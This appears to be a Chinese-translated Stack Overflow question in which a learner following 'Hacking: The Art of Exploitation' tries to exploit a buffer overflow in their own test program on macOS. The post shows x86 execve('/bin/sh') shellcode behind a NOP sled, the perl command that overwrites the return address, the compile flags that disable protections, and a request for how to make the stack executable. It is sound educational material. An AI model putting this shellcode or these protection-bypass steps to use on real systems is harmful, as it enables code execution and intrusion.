【发布时间】:2017-02-19 20:23:33
【问题描述】:
我目前正在学习“黑客;剥削的艺术”,并且正在练习在我编写的一些示例代码上编写 shell 代码注入。
我将 shell 代码作为环境变量注入。在 lldb 中,我可以看到我正在覆盖返回地址,并且 EIP 被设置为我的 NOP 雪橇的中间。但是,它会抛出“EXC_BAD_ACCESS”和段错误。
这是我的 shellcode 堆栈的一部分:
0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"
调用lldb ./notesearch $(perl -e 'print "\x5e\xfc\xff\xbf"x40') 来执行缓冲区溢出,当它发生段错误时我们会得到以下结果:
Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
frame #0: 0xbffffc5e
-> 0xbffffc5e: nop
0xbffffc5f: nop
0xbffffc60: nop
0xbffffc61: nop
我正在使用
gcc -g -O0 -fno-stack-protector -D_FORTIFY_SOURCE=0 -fomit-frame-pointer
编译代码,我使用change_mach_o_flags.py script 和--no-pie 和--executable-heap 选项集。
我认为问题是 osx 自动将堆栈设置为不可执行。不幸的是,osx 中的 gcc 似乎没有-z execstack 选项。也没有可用的 execstack 实用程序。
我搜索了网络,但无论如何都找不到在我的编译代码中使堆栈可执行。有没有办法做到这一点,如果有,怎么做?
【问题讨论】:
-
希望,在我有生之年。你有没有试过在铁路上放一张沙发看看会发生什么?这是出于恶意的好奇还是恶意?
-
@WeatherVane 哦哦。这有那么有害吗?我只是想制作一个人为的易受攻击的软件,我可以通过它获得 shell 代码注入的实践经验。对于试图了解安全性的人来说,尝试破解自己的代码难道不是一种非常标准的教育实践吗?
-
有害吗?释放 WW3?更好的 IMO 专注于使代码防弹。那里有足够多的意外输入,无论如何您都必须防范。如果你想破坏你自己的代码:不要让它易受攻击,让它成为你将提供的真实世界的代码。 然后尝试用意外或恶意或意外的输入来破坏它。
-
@Breezy 我同意你的观点,从教育的角度来看,学习这些漏洞利用非常有价值。很难防范您不理解的东西,虽然大多数现代操作系统默认情况下确实使堆栈不可执行,但理解堆栈漏洞利用有助于作为理解更复杂漏洞利用的垫脚石。
-
欢迎来到 Stack Overflow。请注意,在这里说“谢谢”的首选方式是投票赞成好的问题和有用的答案(一旦你有足够的声誉这样做),并接受对你提出的任何问题最有帮助的答案(这也给出了你的声誉小幅提升)。请查看About 页面以及How do I ask questions here? 和What do I do when someone answers my question?
标签: c macos security gcc shellcode